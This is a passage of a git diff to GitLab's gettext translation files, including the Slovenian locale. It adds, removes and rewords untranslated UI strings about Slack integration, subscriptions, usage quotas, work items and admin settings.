msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 09014c8fec7..8daba18198e 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -932,6 +932,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1004,6 +1007,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1156,6 +1168,13 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1328,13 +1344,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1805,7 +1814,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2038,6 +2047,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2233,9 +2242,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2395,7 +2401,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2851,15 +2860,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2941,9 +2953,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
